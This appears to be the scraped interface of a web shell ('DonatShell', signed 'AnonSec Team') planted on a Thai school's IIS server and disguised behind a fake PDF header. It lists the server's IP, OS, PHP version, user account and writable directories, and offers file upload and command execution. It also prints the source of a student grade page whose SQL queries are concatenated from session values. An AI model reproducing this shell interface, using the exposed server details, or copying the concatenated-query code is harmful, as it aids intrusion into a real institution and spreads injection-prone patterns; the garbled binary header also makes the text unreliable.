%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/mis/student/mis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/mis/student/mis//academic_test.php
<?PHP 
  include "permission.php";
  include "conf.php";
  
?>
<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

  <title>Student information System KOWIT CM.</title>

  <!-- Bootstrap core CSS -->
  <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

  <!-- Custom styles for this template -->
  <link href="css/heroic-features.css" rel="stylesheet">

</head>

<body>

  <!-- Navigation --> 
  <?PHP include "menu_nav.php"; ?>

  <!-- Page Content -->
  <div class="container"> 
    <!-- Jumbotron Header -->
    <div class="card my-4">
        <div class="card-body">
        <div class="row"> 
            <div class="col-md-9 col-12">
            <h3>ข้อมูลทางวิชาการ</h3>
            <p class="lead"><?PHP echo "รหัสนักเรียน : ".$_SESSION['IDStudent']; ?> , <?PHP echo "ชื่อ - สกุล : ".$_SESSION['StuName']; ?> ชั้น <?PHP echo $_SESSION['PClass']."/".$_SESSION['PRoom']; ?></p>  
            </div>
        </div>
    </div> 
  </div>
    <?PHP 
    
    $sql="select RegYear,RegTerm from TScore Inner join TSubject on TScore.PSubjectCode=TSubject.PSubjectCode where IDStudent='".$_SESSION['IDStudent']."' and PLevel='".$_SESSION['PLevel']."' group by RegYear,RegTerm order by RegYear desc,RegTerm DESC";
    //echo $sql;
    $stmt = sqlsrv_query( $conn, $sql );
    while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
    ?>
    <div class="card my-4">
        <div class="card-body">
            <nav aria-label="breadcrumb">
            <ol class="breadcrumb" style="background-color: #81C784;">
                <li class="breadcrumb-item active" aria-current="page">ภาคเรียนที่ <?PHP echo $row['RegTerm']."/".$row['RegYear']; ?></li>
            </ol>
            </nav>
            <div style="overflow-x:auto;">
            <table class="table table-striped">
                <thead>
                <tr>
                    <th scope="col">#</th>
                    <th scope="col">รหัสวิชา</th>
                    <th scope="col">ชื่อวิชา</th>
                    <th scope="col"  class="text-center">ผลการเรียน</th>

                </tr>
                </thead>
                <tbody>
                <?PHP
                $sql="SELECT        TSubject.PSubjectCode, TSubject.PSubjectName, TScore.PGrade, Academic_ShowGrade.ShowGrade_Payed, Academic_ShowGrade.ShowGrade_Unpay, isnull(ShowGradeType,0) as ShowGradeType,  TScore.P100
                ,isnull((select sum(AmountFee) as AmountFee from TB_StudentFees where IDStudent='".$_SESSION['IDStudent']."' and AYear='".$row['RegYear']."' and Term='".$row['RegTerm']."' and isnull(ReceiptNumber,'')=''),0) as AmountFee
                FROM            TScore INNER JOIN
                                         TSubject ON TScore.PSubjectCode = TSubject.PSubjectCode LEFT OUTER JOIN
                                         Academic_ShowGrade ON TScore.RegYear = Academic_ShowGrade.AYear AND TScore.RegTerm = Academic_ShowGrade.Term where TScore.IDStudent='".$_SESSION['IDStudent']."' and PLevel='".$_SESSION['PLevel']."' and RegYear='".$row['RegYear']."' and RegTerm='".$row['RegTerm']."' order by TSubject.GroupSara , TSubject.PSubjectCode";
                //echo $sql;
                $i=1;
                $stmt_s = sqlsrv_query( $conn, $sql );
                while( $row_s = sqlsrv_fetch_array( $stmt_s, SQLSRV_FETCH_ASSOC) ) {
                ?>
                <tr>
                    <th scope="row"><?PHP echo $i; ?></th>
                    <td><?PHP echo iconv("tis-620","utf-8",$row_s['PSubjectCode']); ?></td>
                    <td><?PHP echo iconv("tis-620","utf-8",$row_s['PSubjectName']); ?></td>
                    <td class="text-center">
                    <?PHP 
                        $Grade = "ยังไม่มีผลการเรียน";
                        //echo $row_s["PGrade"];
                        if($row_s["ShowGradeType"]=="0" || ($row_s["ShowGrade_Payed"]=="0" && $row_s["ShowGrade_Unpay"]=="0")) { // ยังไม่ได้ตั้งเปิด หรือ ยังไม่เปิด
                            $Grade = "-";
                        } else if($row_s["ShowGradeType"]=="1") { // แสดงแบบผ่าน ไม่ผ่าน
                            if($row_s["PGrade"]!="") {
                                if($row_s["P100"]<50)
                                    $Grade = "ไม่ผ่านเกณฑ์";
                                else 
                                    $Grade = "ผ่านเกณฑ์";
                            }
                            if($row_s["ShowGrade_Payed"]=="1" && $row_s["AmountFee"]>0)  { // เฉพาะจ่ายแล้ว 
                                    $Grade = "-";
                            }  
                        } else if($row_s["ShowGradeType"]=="2") {  // แสดงแบบระบบผลการเรียน
                            $Grade = iconv("tis-620","utf-8",$row_s['PGrade']); 
                            if($row_s["ShowGrade_Payed"]=="1" && $row_s["AmountFee"]>0)  { // เฉพาะจ่ายแล้ว 
                                    $Grade = "-";
                            } 
                        }
                        echo $Grade; 
                    ?>
                    </td>
                </tr> 
                <?PHP $i++; } ?>
                </tbody>
            </table>
            </div>
        </div>
    </div>
    <?PHP } ?>
</div> 
    <!-- Page Features -->
    <div class="row text-center">

       

      

    </div>
    <!-- /.row -->

  </div>
  <!-- /.container -->

  <!-- Footer -->
  <footer class="py-5 bg-dark">
    <div class="container">
      <p class="m-0 text-center text-white">Copyright &copy; KOWIT CM 2019</p>
    </div>
    <!-- /.container -->
  </footer>

  <!-- Bootstrap core JavaScript -->
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

</body>

</html>

Anon7 - 2022
AnonSec Team